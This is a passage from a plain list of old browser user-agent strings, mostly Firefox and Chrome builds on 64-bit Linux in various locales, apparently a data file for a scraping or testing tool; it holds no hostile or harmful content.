-Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-0.1 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.11) Gecko/2009070611 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008090713 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.7) Gecko/2009030620 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.10) Gecko/20100506 SUSE/3.5.10-0.1.1 Firefox/3.5.10 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2) Gecko/20100308 Ubuntu/10.04 (lucid) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux x86_64; el-GR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Epiphany/2.14 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 FirePHP/0.1.1.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.5) Gecko/2008122010 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc9 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 FirePHP/0.2.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.3 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.7 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.1 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.308.0 Safari/532.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.368.0 Safari/533.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.417.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.544.0 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.200 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Ubuntu/10.10 Chromium/8.0.552.237 Chrome/8.0.552.237 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Ubuntu/10.10 Chromium/9.0.600.0 Chrome/9.0.600.0 Safari/534.14 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.82 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.127 Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 SUSE/10.0.626.0 (KHTML, like Gecko) Chrome/10.0.626.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.470.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/8.1.0.0 Safari/540.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML,like Gecko) Chrome/9.1.0.0 Safari/540.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) Gecko Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008061317 (Gentoo) Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062315 (Gentoo) Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062908 Firefox/3.0 (Debian-3.0~rc2-2) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072820 Kubuntu/8.04 (hardy) Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008110312 Gentoo Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009060309 Linux Mint/7 (Gloria) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061417 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009070612 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.16) Gecko/2009121609 Firefox/3.0.6 (Windows NT 5.1) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.17) Gecko/2010011010 Mandriva/1.9.0.17-0.1mdv2009.1 (2009.1) Firefox/3.0.17 GTB6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 (Linux Mint) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.4) Gecko/2008120512 Gentoo Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121806 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121911 CentOS/3.0.5-1.el5.centos Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122014 CentOS/3.0.5-1.el4.centos Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122120 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122406 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-1.4 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020407 Firefox/3.0.4 (Debian-3.0.6-1) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020519 Ubuntu/9.04 (jaunty) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 GTB5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030719 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030810 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva/1.9.0.7-0.1mdv2009.0 (2009.0) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031802 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032319 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032606 Red Hat/3.0.7-1.el5 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1.1 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032713 Ubuntu/9.04 (jaunty) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032908 Gentoo Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009040312 Gentoo Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1) Gecko/20090630 Firefox/3.5 GTB6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Linux Mint/7 (Gloria) Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.15) Gecko/20101027 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Firefox/3.5.2 Slackware -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Slackware Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090914 Slackware/13.0_stable Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091114 Gentoo Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.6) Gecko/20100117 Gentoo Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100318 Gentoo Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8pre) Gecko/20091227 Ubuntu/9.10 (karmic) Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090312 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 Fedora/3.1-0.11.beta3.fc11 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 GNU/Linux/x86_64 Firefox/3.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100130 Gentoo Firefox/3.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100222 Ubuntu/10.04 (lucid) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100305 Gentoo Firefox/3.5.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Gentoo Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101219 Gentoo Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101223 Gentoo Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100524 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.4) Gecko/20100614 Ubuntu/10.04 (lucid) Firefox/3.6.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100723 Fedora/3.6.7-1.fc13 Firefox/3.6.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100723 SUSE/3.6.8-0.1.1 Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090405 Firefox/3.6a1pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090428 Firefox/3.6a1pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008011321 Firefox/3.0b3pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008020509 Firefox/3.0b3pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008031318 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008040813 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008040514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008041816 Fedora/3.0-0.55.beta5.fc9 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9pre) Gecko/2008042312 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061015 Ubuntu/8.04 (hardy) Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.4) Gecko/2008110510 Red Hat/3.0.4-1.el5_2 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; es-CL; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009072711 CentOS/3.0.12-1.el5.centos Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.7) Gecko/2009022800 SUSE/3.0.7-1.4 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc11 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-MX; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.14) Gecko/2009090217 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; fr-FR) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-1.1 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.11) Gecko/2009060309 